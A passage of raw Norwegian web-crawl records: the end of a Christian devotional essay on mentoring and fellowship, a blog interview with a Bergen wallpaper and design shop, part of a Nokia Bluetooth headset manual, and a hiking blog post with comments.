g\u00e5r oss litt p\u00e5 klingen og sp\u00f8r om hvordan det st\u00e5r til med s\u00e5nn og s\u00e5nn. Hensikten er jo at vi f\u00e5r vokse og at Gud f\u00e5r slippe til med n\u00e6ring. S\u00e5 er det selvf\u00f8lgelig en balanse slik at vi ikke mister d\u00f8mmekraft og gir oss apatisk over til andre. Hvis vi er i tvil om noe, s\u00e5 er oppskriften at vi kan pr\u00f8ve alt og se om det stemmer med Bibelen; pr\u00f8v alt og hold fast p\u00e5 det gode (1 Tess 5, 1 Joh 4). Dette er ikke noe mekanisk med trykk p\u00e5 den og den knappen for \u00e5 vite det og det. Det er en guddommelig prosess der vi i \u00f8kende grad \"\u2026. f\u00e5r **kjenne** ham og **kraften** av hans oppstandelse og **samfunnet** med hans lidelser\u2026\" (Fil 3,7\u2192). Heller ikke her tror jeg rekkef\u00f8lgen er tilfeldig. Mye faller p\u00e5 plass n\u00e5r v\u00e5rt forhold til Jesus kontinuerlig vokser til \u00e5 kjenne og ikke bare kjenne til. Det er det samme Paul Anderson gl\u00f8der for n\u00e5r han oppmuntrer oss til \u00e5 finne v\u00e5r dr\u00f8m. Det er det samme som er det sentrale i \"soaking\".\n\n**Forbilder**  \nJeg har tre \"fedre\" som har betydd og betyr mye for meg p\u00e5 forskjellige omr\u00e5der i livet. F\u00f8rst selvf\u00f8lgelig pappa som gjennom \u00e5 v\u00e6re seg selv gav meg et solid fundament og hjalp, inspirerte og st\u00f8ttet meg i \u00e5 finne ut hva jeg skulle bli n\u00e5r jeg ble stor. Mer enn han selv er klar over tror jeg. Dernest har jeg hatt en faglig far og en \u00e5ndelig far som begge betyr mye for meg og som har l\u00e6rt meg mye, sikkert ogs\u00e5 de mer enn de er klar over. Disse tre er p\u00e5 mange m\u00e5ter sv\u00e6rt ulike med et mangfold av forskjellige egenskaper - jeg kjenner dem godt. Men de har \u00e9n ting felles: De er ikke perfekte og har hver mange feil. Vel, det var slik jeg f\u00f8rst tenkte om dette. Jeg kunne irritere meg, gruble, endog fors\u00f8ke \u00e5 \"forandre\" dem, men det alvorligste var at jeg tenkte disse feilene n\u00e6rmest diskvalifiserte dem for sine oppgaver. Heldigvis er det lenge siden jeg fikk se Lyset i denne sammenhengen og at de tvert imot har v\u00e6rt s\u00e6rdeles godt kvalifisert og egnet til sine oppgaver. Faktisk i s\u00e5 stor grad at ingen andre kunne ha hatt disse oppgavene og utrettet det de har utrettet. Disse tre hadde sterke sider som jeg og mange andre har blitt tilf\u00f8rt mye gjennom. Deres \"svake\" sider var det andres oppgave \u00e5 fylle.\n\nTil deg som er ung og ivrig: Lytt til dem som har livserfaring og som du vet har noe \u00e5 tilf\u00f8re deg selv om du ser at de ikke er perfekte. Det har aldri v\u00e6rt meningen at noen skulle v\u00e6re det f\u00f8r m\u00e5let er n\u00e5dd. Tilbake igjen til de store fysikkeksperimentene jeg fortalte om innledningsvis: I tillegg til at det er en stor flokk mennesker med ulike oppgaver, s\u00e5 er relasjonene mellom dem likes\u00e5 viktige. \u00d8nsket for enhver professor er \u00e5 ligge i forskningsfronten med sin aktivitet. For \u00e5 oppn\u00e5 dette er det viktig \u00e5 delta p\u00e5 konferanser og skrive artikler i internasjonale tidsskrifter som andre kan lese. Det er en sluttet ring der man tilegner seg kunnskap og erfaring fra andre, og like viktig deler med andre den man selv har. Men den viktigste oppgaven til en professor er \u00e5 f\u00f8re sine studenter frem til forskningsfronten slik at disse blir i stand til \u00e5 flytte den videre og ellers bruke denne kunnskapen i sitt yrke. Den st\u00f8rste feilen en professor da kan gj\u00f8re er \u00e5 pr\u00f8ve \u00e5 lage kloner av seg selv. Professoren m\u00e5 formidle og trene grunnleggende prinsipper og metoder og stimulere til kreativitet. Da g\u00e5r det ikke lang tid f\u00f8r studentene tar av og fyker forbi professoren p\u00e5 sine spesielle felt. Det er ikke vanskelig \u00e5 se at fruktene av dette er langt st\u00f8rre.\n\nJeg sier ikke at vi i menigheten skal l\u00e6re en \"metode\" fra forskningsverden som dessuten ogs\u00e5 er mye brukt i n\u00e6ringslivet. Tvert imot. Dette er en bibelsk ordning som mange har sett fungerer godt mellom mennesker. S\u00e5 hvis vi skulle l\u00e6re noe, s\u00e5 m\u00e5tte det v\u00e6re \u00e5 f\u00e5 et enda mer bevist forhold til dette og bruke det. Hvis det er \u00e9n i menigheten du kjenner spesiell tillit til og som det er godt \u00e5 v\u00e6re sammen med, s\u00e5 kunne du kanskje vurdere \u00e5 sp\u00f8rre om vedkommende vil v\u00e6re din mentor?\n\n**Begynn i det sm\u00e5**  \nKanskje er du en moden mann eller kvinne og dette ikke er noe nytt for deg. Men for deg som ikke ser det slik: Husk at du skal ikke gj\u00f8re alt, men litt. Begynn i det sm\u00e5, og p\u00e5 flere m\u00e5ter: Hvis du ikke er med i et husfellesskap, cellegruppe eller lignende fellesskap, burde du kanskje vurdere det? S\u00e5 kan vi st\u00e5 sammen og se nye sider og mer av Gud og hans kraft mellom oss.  \n\n\\* Paul Anderson: *Dare to dream,* 2005\n\n", "language": "no", "__index_level_0__": "796a26d1-2bd0-481b-860d-a4eb0caeadc9"}
{"url": "http://interiorogboligmessen.blogspot.com/2015/10/design-med-adresse-pa-messen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:28:30Z", "text": "Publikumsmesse i Bergen, Grieghallen. Possibility AS\n\n## tirsdag 13. oktober 2015\n\n### DESIGN MED ADRESSE P\u00c5 MESSEN\n\n  \n\n\n\n  \nDe er lokale, og rettere sagt godt posisjonert p\u00e5 Danmarksplass\u00a0med store vinduer vendt ut mot hovedgaten. De er en av de sterke akt\u00f8rene p\u00e5 utstillerlisten knyttet til design og unikt h\u00e5ndverk. Selv kaller de det \u00abDesign med adresse\u00bb, noe du raskt vil skj\u00f8nne n\u00e5r du bes\u00f8ker dem i butikken eller p\u00e5 standen i Grieghallen til helgen.   \n\n  \nVi tok en prat med dem:  \n   \n\n*Hvem er Norden og Verden / Scandinavian Surface?\u00a0 *\n\n   \nFor \u00e5 svare p\u00e5 det siste f\u00f8rst: Scandinavian Surface er et bergensk designfirma som holder til p\u00e5 Danmarksplass. Vi er hovedsakelig kjent for v\u00e5r tapetkolleksjon, men designer ogs\u00e5 motiver til alt fra brett og spisebrikker til tannb\u00f8rster.\u00a0 Vi utvider stadig arbeidsfeltet v\u00e5rt, og v\u00e5r produksjon inkluderer n\u00e5 ogs\u00e5 en rekke Gicle\u00e9 trykk av h\u00f8y kvalitet, som vi referer til som Prints.\n\n   \n\n\n  \nNorden og Verden er v\u00e5r interi\u00f8rbutikk p\u00e5 Danmarksplass\\! Her har vi alt under samme tak, vi har designstudio, tapetshowroom og designbutikk i nyoppussede lokaler. Vi\u00a0 har designprodukter av h\u00f8y kvalitet du ikke finner maken til andre steder. Vi selger v\u00e5re egne produkter i butikken, i tillegg til h\u00e5ndplukket design fra andre formgivere og produsenter. Vi er stadig p\u00e5 jakt etter god norskprodusert design, og vi sporer opp produkter p\u00e5 reiser og p\u00e5 messer i byer som Paris, London og Antwerpen. Vi er kompromissl\u00f8se p\u00e5 kvalitet, og velger leverand\u00f8rer vi vet vi kan stole p\u00e5 med hensyn til\u00a0 milj\u00f8 og arbeidsforhold.\u00a0 Mottoet v\u00e5rt er\u00a0 DESIGN MED ADRESSE.\u00a0 \u00a0\n\n  \n\n\n\u00a0\n*Hva er deres forventinger til \u00e5rets messe, og hva synes dere om messens tema, h\u00e5ndverk? *\n\n   \nVi h\u00e5per og tror messen blir en fin og inspirerende helg for alle\\! \n\n   \nH\u00e5ndverk er fint, men det er ikke avgj\u00f8rende for oss om et produkt er laget av et par hender eller en maskin. Det som er avgj\u00f8rende for oss er at produktet er av god kvalitet, at det er god design, og at det er laget p\u00e5 den beste og mest rasjonelle m\u00e5ten , hvor ingen har blitt skadelidende, hverken mennesker eller milj\u00f8. Vi henter de fleste produktene v\u00e5re fra Norden og Vest Europa, da blir ogs\u00e5 milj\u00f8belastningen mindre\u00a0 i transporten. \u00a0\u00a0\n\n   \nN\u00e5r det er sagt har vi flere produkter som er h\u00e5ndverksmessig\u00a0 framstilt. Mye design blir ogs\u00e5 framstilt og bearbeidet b\u00e5de med h\u00e5ndarbeid og maskiner. \n\n  \n\n\n\n  \n*Hvilke produkter viser dere p\u00e5 messen? *\n\n  \nVi velger \u00e5 vise mye fint og nytt til vegg, vi er eksperter p\u00e5 veggdekor og har alt fra sm\u00e5 \u00a0og store brints i god kvalitet, til PanelPiece og tapet. Vi gleder oss til \u00e5 vise fire nye PanelPiece, basert p\u00e5 v\u00e5re popul\u00e6re fugletapeter. Vi er en jo en spesiell interi\u00f8rbutikk med mange flotte ting, \u00a0blant annet vakre tekstilprodukter i nydelige farger, nydelige trefj\u00f8ler, lamper, brikker og brett. Vi vil at det skal bugne p\u00e5 standen v\u00e5r\\! \n\n   \n*Nyheter?*\n\n   \nVi \u00a0har to tapetkolleksjoner i produksjon hos svenske Photowall. De f\u00f8rste tapetene v\u00e5re kom i 2004, og vi har kledd vegger i hoteller, ambassader og private hjem verden over. Et forel\u00f8pig h\u00f8ydepunkt for oss kom i v\u00e5r, da to av v\u00e5re tapetdesign ble valgt til \u00e5 representere\u00a0 skandinavisk design i den faste samlingen til Philadelphia Museum of Art i USA. N\u00e5 kommer endelig den tredje tapetkolleksjonen\\!\u00a0 Det kommer syv nye tapeter i til sammen 20 varianter. \n\n   \n*Hvor henter dere inspirasjon fra?*\n\n   \nVi henter inspirasjonen i naturen og landskapet rundt oss, ogs\u00e5 det urbane landskapet, og fargene er duse og avstemte. Vi er kjent for et uttrykk hvor m\u00f8nster, motiv og farger spiller p\u00e5 lag og danner en harmonisk helhet. \u00a0Vi vil lansere den nye kolleksjon for presse og arkitekter i Oslo onsdag 14. oktober, og gleder oss\u00a0 stort til \u00e5 komme \"hem\" og presentere den p\u00e5 Interi\u00f8r og Boligmessen i Grieghallen\\!\n\n\u00a0\nVi \u00f8nsker disse dyktige lykke til og velkommen hem\\!\n\n\n\n Lagt inn av  Interi\u00f8r- og boligmessen    kl. 07:36        \n", "language": "no", "__index_level_0__": "1903b48d-730f-458f-b825-c10bc510c44e"}
{"url": "http://docplayer.me/14250359-Nokia-bluetooth-headset-bh-609-2-0-utgave.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-25T00:26:55Z", "text": " som tilh\u00f8rer Nokia Corporation. Andre produkt- eller firmanavn som nevnes her, kan v\u00e6re varemerker eller produktnavn for sine respektive eiere.\")\n\n4 underlagt eksportlover og -forskrifter fra USA og andre land. Det er ulovlig \u00e5 fravike slik lovgivning. Innledning Med Nokia Bluetooth-headset BH-609 kan du ringe og besvare samtaler med handsfree-funksjon sammen med en kompatibel mobilenhet. Headsettet leveres med vindst\u00f8ybegrensning og st\u00f8yreduksjon som gj\u00f8r det enklere \u00e5 h\u00e5ndtere anrop i st\u00f8yende omgivelser. Les denne brukerveiledningen n\u00f8ye f\u00f8r du bruker headsettet. Les ogs\u00e5 brukerveiledningen for enheten som du kobler til headsettet. Produktet kan inneholde sm\u00e5 deler. Oppbevar delene utilgjengelig for sm\u00e5 barn. Overflaten p\u00e5 enheten er nikkelfri. Min egen-tasten Headsettet har en snarveistast som kan konfigureres til \u00e5 utf\u00f8re ulike funksjoner p\u00e5 en kompatibel Nokiaenhet. Bruk programmet Nokia Accessory Setup til \u00e5 definere funksjonene. Med dette programmet kan du ogs\u00e5 vise headset-informasjon og definere headset-innstillinger n\u00e5r headsettet er koblet til enheten. Se hjelpen i programmet hvis du vil ha mer informasjon. Hvis programmet ikke allerede er installert p\u00e5 mobilenheten, kan du kontrollere om programmet er tilgjengelig for en bestemt enhet ved \u00e5 g\u00e5 til\n\n\n\n5 produktst\u00f8ttesidene for dette headsettet p\u00e5 Hvis programmet ikke er tilgjengelig for en Nokia-enhet, kan du bruke snarveistasten til \u00e5 sl\u00e5 av mikrofonen under en samtale. Tr\u00e5dl\u00f8s Bluetooth-teknologi Den tr\u00e5dl\u00f8se Bluetooth-teknologien gj\u00f8r at du kan koble til kompatible enheter uten kabler. Headsettet og den andre enheten beh\u00f8ver ikke Komme i gang Headsettet har f\u00f8lgende deler, som vist p\u00e5 tittelsiden: Indikatorlys (1), volumtast (2), Min egen-tast (3), flerfunksjonsknapp (4), mikrofoner (5), \u00f8rekrok (6), laderkontakt (7) og \u00f8restykke (8). \u00e5 v\u00e6re i siktlinje, men avstanden mellom dem b\u00f8r v\u00e6re under 10 meter. Tilkoblingene kan utsettes for forstyrrelse fra hindringer, f.eks. vegger eller andre elektroniske enheter. Headsettet er kompatibelt med Bluetooth-spesifikasjonen EDR som st\u00f8tter Headset Profile 1.1 og Hands-Free Profile 1.5. Ta kontakt med produsentene av andre enheter for \u00e5 fastsl\u00e5 kompatibiliteten med denne enheten. F\u00f8r du bruker headsettet, m\u00e5 du lade batteriet og koble headsettet sammen med en kompatibel enhet. Deler av enheten er magnetisk. Metallmaterialer kan trekkes mot enheten. Ikke plasser kredittkort eller andre magnetiske lagringsmedier i n\u00e6rheten av enheten, siden dette kan f\u00f8re til at informasjon som er lagret p\u00e5 dem, blir slettet.\n\n, \u00f8rekrok (6), laderkontakt (7) og \u00f8restykke (8). \u00e5 v\u00e6re i siktlinje, men avstanden mellom dem b\u00f8r v\u00e6re under 10 meter. Tilkoblingene kan utsettes for forstyrrelse fra hindringer, f.eks.\")\n\n6 Lade batteriet Les Batteri- og laderinformasjon n\u00f8ye f\u00f8r du lader batteriet. 1. Koble laderen til en stikkontakt. 2. Koble laderkabelen til laderkontakten. Det r\u00f8de indikatorlyset lyser under lading. Det kan ta opptil 1 time \u00e5 lade batteriet helt opp. Lader du batteriet i 15 minutter med AC-15-laderen, f\u00e5r du opptil 2 timer taletid. 3. N\u00e5r batteriet er ferdig ladet, lyser det gr\u00f8nne indikatorlyset. Koble laderen fra headsettet og s\u00e5 fra stikkontakten. Dette er energisparende ettersom ladere bruker en liten mengde str\u00f8m n\u00e5r de er koblet til en stikkontakt, ogs\u00e5 n\u00e5r lading ikke p\u00e5g\u00e5r. Et ferdig ladet batteri har str\u00f8m til opptil 6 timer taletid eller opptil 180 timer standby-tid. Hvis du vil sjekke batteriniv\u00e5et n\u00e5r headsettet ikke er koblet til en lader, trykker du p\u00e5 flerfunksjonsknappen n\u00e5r headsettet er koblet til en mobilenhet. Hvis indikatorlyset lyser gr\u00f8nt, er ladeniv\u00e5et tilstrekkelig. Hvis lyset er gult, er det mulig at du m\u00e5 lade batteriet snart. Hvis lyset er r\u00f8dt, m\u00e5 du lade batteriet. N\u00e5r ladeniv\u00e5et er lavt, piper headsettet hvert femte minutt og det r\u00f8de indikatorlyset blinker. Sl\u00e5 av og p\u00e5 Du sl\u00e5r p\u00e5 headsettet ved \u00e5 holde inne flerfunksjonsknappen i ca. 2 sekunder. Headsettet piper, og indikatorlampen blinker gr\u00f8nt i sakte tempo mens headsettet pr\u00f8ver \u00e5 koble til den siste eller de to siste tilkoblede enhetene. N\u00e5r headsettet er koblet til minst \u00e9n enhet og er klar til bruk, blinker det gr\u00f8nne indikatorlyset langsomt. Hvis headsettet ikke har blitt koblet\n\n\n\n7 sammen med en enhet, vil det automatisk settes i sammenkoblingsmodus. Du sl\u00e5r av headsettet ved \u00e5 holde inne flerfunksjonsknappen i ca. 5 sekunder. Headsettet piper, og det r\u00f8de indikatorlyset blir tent et kort \u00f8yeblikk. Hvis du ikke kobler headsettet til en enhet innen ca. 30 minutter, sl\u00e5r det seg av automatisk. Koble sammen og koble til headsettet F\u00f8r du bruker headsettet, m\u00e5 du koble og tilslutte det til en kompatibel enhet. Du kan koble headsettet sammen med inntil \u00e5tte enheter, men du kan bare koble det til maksimalt to enheter samtidig. 1. Kontroller at mobilenheten er sl\u00e5tt p\u00e5 og at headsettet er sl\u00e5tt av. 2. Hvis headsettet ikke tidligere har v\u00e6rt koblet sammen med en enhet, skrur du p\u00e5 headsettet. Headsettet settes i sammenkoblingsmodus, og det bl\u00e5 indikatorlyset blinker raskt. Hvis headsettet har v\u00e6rt sammenkoblet med en annen enhet tidligere, forsikrer du deg om at headsettet er sl\u00e5tt av og holder inne flerfunksjonsknappen i ca. 5 sekunder til indikatorlampen begynner \u00e5 blinke bl\u00e5tt i raskt tempo. 3. Aktiver Bluetooth-funksjonen p\u00e5 enheten innen 3 minutter, og angi at den skal s\u00f8ke etter Bluetoothenheter. Se i brukerveiledningen for mobilenheten hvis du vil ha mer informasjon. 4. Velg headsettet fra listen over enheter som er funnet. 5. Tast inn passordet 0000 hvis du blir bedt om det, for \u00e5 sammenkoble og koble headsettet til enheten.\n\n\n\n8 P\u00e5 enkelte enheter er du n\u00f8dt til \u00e5 opprette tilkoblingen separat etter at enhetene er koblet sammen. N\u00e5r headsettet er koblet til minst \u00e9n enhet og er klar til bruk, blinker det gr\u00f8nne indikatorlyset langsomt. Du kobler headsettet manuelt til den siste eller de to sist brukte enhetene ved \u00e5 holde nede flerfunksjonsknappen i omtrent to sekunder (n\u00e5r ingen enheter er koblet til) eller ved \u00e5 opprette tilkoblingen i Bluetooth-menyen Grunnleggende bruk til enheten. Hvis en enhet er koblet til headsettet, og du \u00f8nsker \u00e5 koble til en enhet til, oppretter du tilkoblingen ved hjelp av Bluetooth-menyen til enheten. Det er mulig at du kan stille inn enheten slik at headsettet automatisk kobler seg til den. Hvis du \u00f8nsker \u00e5 aktivere denne funksjonen p\u00e5 en Nokia-enhet, endrer du innstillingene for sammenkoblede enheter i Bluetooth-menyen. Bytte \u00f8repute Headsettet leveres med \u00f8reputer i forskjellige st\u00f8rrelser. Velg \u00f8reputen som passer best og sitter mest behagelig i \u00f8ret ditt. N\u00e5r du vil endre \u00f8reputen, trekker du ut \u00f8reputen som allerede er i \u00f8restykket og trykker den nye \u00f8reputen p\u00e5 plass (13). Plassere headsettet p\u00e5 \u00f8ret Du plasserer headsettet p\u00e5 \u00f8ret ved \u00e5 skyve \u00f8repluggen forsiktig mot \u00f8ret. Plasser headsettet slik at det peker mot munnen (11). Du kan rotere\n\n\n\n\n\n11 du av headsettet, holder nede flerfunksjonsknappen og skyver volumtasten oppover og holder den der i om lag fem sekunder. Det gr\u00f8nne indikatorlyset blinker \u00e9n gang. Vil du koble headsettet til bare \u00e9n enhet, sl\u00e5r du av headsettet, holder nede flerfunksjonsknappen og skyver volumtasten nedover og holder den der i om lag fem sekunder. Det gule indikatorlyset blinker \u00e9n gang. Sammenkoble og koble til to enheter Hvis du vil sammenkoble headsettet med to enheter, sl\u00e5r du p\u00e5 headsettet, aktiverer sammenkoblingsmodus og sammenkobler det med den f\u00f8rste enheten. Sl\u00e5 av headsettet, aktiver sammenkoblingsmodus og sammenkoble det med den andre enheten. Koble headsettet til de to enhetene ved \u00e5 sl\u00e5 headsettet av og p\u00e5 igjen. H\u00e5ndtere anrop Hvis headsettet kan kobles til to enheter samtidig og du bruker gjentatt oppringing eller taleoppringing, vil anropet foretas p\u00e5 enheten du sist brukte til \u00e5 ringe sist headsettet var koblet til den. Hvis du vil svare p\u00e5 et anrop p\u00e5 \u00e9n tilkoblet enhet og avslutte det aktive anropet p\u00e5 den andre enheten, trykker du p\u00e5 flerfunksjonsknappen. Hvis du vil svare p\u00e5 et anrop p\u00e5 \u00e9n tilkoblet enhet og sette det aktive anropet p\u00e5 vent p\u00e5 den andre enheten, holder du inne flerfunksjonsknappen i ca. 2 sekunder. Hvis du vil avslutte det aktive anropet p\u00e5 \u00e9n tilkoblet enhet og aktivere anropet som st\u00e5r p\u00e5 vent p\u00e5 den andre enheten, trykker du p\u00e5 flerfunksjonsknappen. Hvis du vil veksle mellom det aktive anropet p\u00e5 \u00e9n enhet og anropet som\n\n\n\n12 st\u00e5r p\u00e5 vent p\u00e5 den andre enheten, holder du inne flerfunksjonsknappen i ca. 2 sekunder. Sl\u00e5 lysene av eller p\u00e5 Standardinnstillingen for indikatorlysene er at disse er sl\u00e5tt p\u00e5 i alle situasjoner. Hvis du \u00f8nsker \u00e5 sl\u00e5 av lysene i enkelte situasjoner (for eksempel under en samtale eller n\u00e5r headsettet er koblet til en mobilenhet), holder du inne flerfunksjonsknappen og skyver volumtasten nedover og holder den der i om lag fem sekunder n\u00e5r headsettet er koblet til en enhet. Det gule indikatorlyset blinker \u00e9n gang. Hvis du vil sl\u00e5 lysene p\u00e5 igjen, holder du nede flerfunksjonsknappen og skyver volumtasten oppover og holder den der i om lag fem sekunder. Det gr\u00f8nne indikatorlyset blinker \u00e9n gang. Fjerne innstillinger eller tilbakestille Hvis du vil fjerne alle innstillingene fra headsettet (inkludert innstillinger som er definert med programmet Nokia Accessory Setup), sl\u00e5r du av headsettet og holder nede flerfunksjonsknappen i ca. 8 sekunder. Headsettet piper to ganger, og indikatorlysene lyser vekselvis r\u00f8dt og gr\u00f8nt. Etter at innstillingene er fjernet, vil headsettet settes i sammenkoblingsmodus. Du kan tilbakestille headsettet hvis det slutter \u00e5 fungere selv om det er ladet opp. Koble headsettet til en lader mens du holder inne flerfunksjonsknappen. Feils\u00f8king Hvis du ikke f\u00e5r koblet headsettet til den kompatible enheten, kontroller at headsettet er ladet, sl\u00e5tt p\u00e5 og sammenkoblet med enheten.\n\n\n\n13 Batteri- og laderinformasjon Denne enheten inneholder et internt, oppladbart batteri som ikke kan fjernes. Du m\u00e5 ikke pr\u00f8ve \u00e5 fjerne batteriet fra enheten, da dette kan skade enheten. Denne enheten er beregnet for bruk med str\u00f8mforsyning fra f\u00f8lgende ladere: AC-3, AC-4, AC-5, AC-8, AC-15 og DC-4. N\u00f8yaktig modellnummer for laderen kan variere avhengig av st\u00f8pseltype. Pluggtypen kan ha f\u00f8lgende merking: E, X, AR, U, A, C, K eller B. Batteriet kan lades og utlades hundrevis av ganger, men det vil etter hvert bli oppbrukt. Tale- og standby-tid er bare anslag. De faktiske tidene avhenger av blant annet enhetsinnstillinger, funksjoner som brukes, batteriets tilstand og temperaturer. Hvis batteriet ikke har v\u00e6rt brukt i en lengre periode, kan det v\u00e6re n\u00f8dvendig \u00e5 koble til laderen og deretter koble den fra og til igjen for \u00e5 starte ladingen. Hvis batteriet er fullstendig utladet, kan det ta noen minutter f\u00f8r ladeindikatoren lyser. Ta laderen ut av kontakten og enheten n\u00e5r den ikke er i bruk. Et fulladet batteri b\u00f8r frakobles laderen fordi overlading kan forkorte batteriets levetid. Hvis et fullt oppladet batteri ikke brukes, lades det ut over tid. Oppbevar alltid batteriet i temperaturer mellom 15 C og 25 C. Ekstreme temperaturer reduserer kapasiteten og levetiden til batteriet. Hvis batteriet er for varmt eller for kaldt, kan det hende at enheten ikke fungerer i en kortere periode. Batterier kan eksplodere hvis de utsettes for ild. Batteriene m\u00e5 kastes i henhold til lokale forskrifter. Resirkuler der dette er mulig. Batterier m\u00e5 ikke kastes sammen med vanlig avfall.\n\n\n\n14 Bruk laderen bare til de form\u00e5lene den er beregnet for. Feil bruk eller bruk av ikkegodkjent lader kan medf\u00f8re risiko for brann, eksplosjon eller andre farer, og kan oppheve all godkjenning og garanti. Hvis Ta vare p\u00e5 enheten H\u00e5ndter enheten, laderen og ekstrautstyret varsomt. F\u00f8lgende r\u00e5d hjelper deg \u00e5 overholde garantibestemmelsene. Oppbevar enheten p\u00e5 et t\u00f8rt sted. Nedb\u00f8r, fuktighet og alle typer v\u00e6sker kan inneholde mineraler som vil f\u00f8re til rust p\u00e5 elektroniske kretser. Hvis enheten blir v\u00e5t, lar du den bli helt t\u00f8rr. Ikke bruk eller oppbevar enheten i st\u00f8vete eller skitne omgivelser. Bevegelige deler og elektroniske komponenter kan bli \u00f8delagt. Ikke oppbevar enheten i h\u00f8ye temperaturer. H\u00f8ye temperaturer kan redusere levetiden p\u00e5 enheten, \u00f8delegge batteriet, og deformere eller smelte plastdeler. du tror at laderen er \u00f8delagt, b\u00f8r du ta den med til et servicested for kontroll f\u00f8r du fortsetter \u00e5 bruke den. Bruk aldri en lader som er skadet. Bruk kun laderen innend\u00f8rs. Ikke oppbevar enheten i lave temperaturer. N\u00e5r enheten oppn\u00e5r normal temperatur igjen, kan det dannes fuktighet inne i enheten som kan skade elektroniske kretser. Ikke fors\u00f8k \u00e5 \u00e5pne enheten. Du m\u00e5 ikke slippe, dunke eller riste enheten. R\u00f8ff h\u00e5ndtering kan \u00f8delegge innvendige kretskort og mekanikk. Bruk kun en myk, t\u00f8rr klut til \u00e5 rengj\u00f8re enhetens overflate. Ikke mal enheten. Maling kan tette de bevegelige delene og forhindre at enheten fungerer skikkelig.\n\n\n\n", "language": "no", "__index_level_0__": "6c410c79-f535-467c-ba3e-01ab8d3f54a4"}
{"url": "http://on2wheels-gawo.blogspot.com/2012/02/livarden-er-et-fjell.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:48:17Z", "text": "## s\u00f8ndag 26. februar 2012\n\n### Livarden er et fjell..\n\n som har alt\\!  \n  \n\nDet har den fine **Nordvarden p\u00e5 toppen 683 moh**.  \n Det har fine vidder med perfekt skif\u00f8re.  \n Det har mange andre steinvarder som viser vei til andre fjelltopper. Det har vist seg \u00e5 passe meg perfekt.\n\n18:09           \n\n Etiketter: Fjelltur, varder, Vinter \n\n#### 5 kommentarer:\n\n\n\n\nRuneE sa...\n\ndet var det man m\u00e5tte kalle en \"Hjertelig\" billedserie. Fin vinterstemning som jeg nok burde opps\u00f8ke oftere enn jeg gj\u00f8r :-)\n\n 13:15    \n\n\n\n\n\nMarie sa...\n\n\"Hu hei, hvor er det vel friskt og lett opp\u00e5 fjellet\", passar det vel \u00e5 kommentere med her :)  \n  \nFlotte bilde med eit fantastisk lys\\!\n\n 18:33    \n\n\n\n\n\nIrene sa...\n\nJa, her kunne jeg sikkert passet inn ogs\u00e5. N\u00e5r jeg ser disse flotte vinterbildene savner jeg \"hytta\" p\u00e5 fjellet. Men hvem vet, kanskje vi en dag vender tilbake\\!  \n  \nHa en fin ny uke\\!  \n  \nIreneklemmer\n\n 23:18    \n\n\")\n\n\n\nJill c\",) sa...\n\nFor en vakker vakker tur\\! Jeg elsker varder og fjelltopper. Og lyset....helt nydelig\\!  \n  \nHver eneste gang jeg st\u00e5r p\u00e5 en fjelltopp, h\u00f8y,lav eller passe:)) s\u00e5 kjenner jeg at pusten g\u00e5r ekstra dypt og alle tanker bare forsvinner. Jeg bare nyter denne fantastiske stunden jeg skal v\u00e6re der. Ja det er sannelig noe helt spesielt :)))  \n  \nEn tur \u00e5 glede seg over:))\n\n 01:20    \n\n\n\n\n\nMissMette sa...\n\nFlotte naturbilder du tar \u10e6  \nFin vinterstemning og fint  \nlys... Ha en fortsatt fin  \nhelg, klem fra Mette\n\n 02:01    \n\n    Vestlandsjente som mer enn gjerne farter rundt p\u00e5 2 hjul, ja det er meg. Enten det er en tr\u00f8skykkel, Vespa eller Gold Wing du ser langs veien s\u00e5 kan det v\u00e6re meg som suser forbi deg. Jeg trives i naturen og tar meg ogs\u00e5 en trimtur innimellom b\u00e5de hit og dit. P\u00e5 mine turer bruker jeg fotoapparatet flittig og etter hvert skal jeg vise hvor jeg har v\u00e6rt. Det er mye rart \u00e5 se langs veien.\n\n## S\u00e5 sant som det er sagt\n\n  \nDenne har Ida laget og gitt til meg og andre. Og n\u00e5 har jeg ogs\u00e5 f\u00e5tt den av Mette\n\n    \n\nDenne har Ida gitt til meg i desember. Takk og smil i retur til deg\n\n    \n\n## Blomster til bloggvenner\n\n  \nIda deler ut til bloggvenner. Jeg takk s\u00e5 mye\n\n    \n\n## En hilsen i desember\n\n  \nfra Anne-Berit. Tusen takk\n\n    \n  \nTusen takk BeritT for dette nydelige hjerte fra deg\n\n    \n\n## Petunias\n\n  \nhvem blir ikke i godt hum\u00f8r av denne Awarden? Jeg har f\u00e5tt den av Petunia og Koselig-koselig\n\n    \n\n  \nDenne flotte awarden har Ida laget og jeg har f\u00e5tt den som en gave fra henne og Pernille. Tusen takk jenter\n\n    \n\n## Jeg l\u00e6rer fra deg\n\n  \ndenne har jeg laget selv og gitt til flere, og ogs\u00e5 f\u00e5tt av Pernille og AnneBerit\n\n    \n\n## En serdeles hyggelig hilsen\n\n## Amazing Friendship Award\n\n  \nfra mine bloggvenner Ida, Petunia, Pernille, BeritT og Marie. Tusen takk\n\n    \n\n## Award\n\n  \nTusen takk Sterneglimt for at jeg fikk dette fine bilde\n\n    \n\n## Award\n\n  \nExklusivt fra Anemone. Hjertelig takk skal hun ha\n\n    \n\n  \nPernille og Petunia synes jeg fortjener denne. Tusen takk skal dere ha jenter.\n\n    \n\n## Kreativ blogger\n\n  \nTusen takk Randi for at du synes jeg er kreativ\n\n    \n\n## Excellent Award\n\n  \nEn stor takk til Marie som synes jeg fortjener denne\n\n    \n\n## Award\n\n  \nen stor klem til Anemone for at hun ville gi meg denne\n\n    \n\n## \"Spread the Love Award\"\n\n  \nEn hjertelig takk til Anemone\n\n    \n\n## Award\n\n  \nTakk til Rune som har gitt meg denne\n\n    \n\n## En hyggelig utmerkelse\n\n  \nsom jeg har f\u00e5tt av Marie, Ida, RuneE, BeritT og Pernille\n\n    \n\n## You make me smile\n\n  \nDenne fikk jeg av Ida. Og av HildeS. Tusen takk :-)\n\n    \n\n  \nDenne tror jeg at jeg har \"knabbet\" et sted. Passer fint p\u00e5 meg\n\n    \n\n", "language": "no", "__index_level_0__": "0b0eee69-8d32-4a69-84f6-74efc2439bf2"}
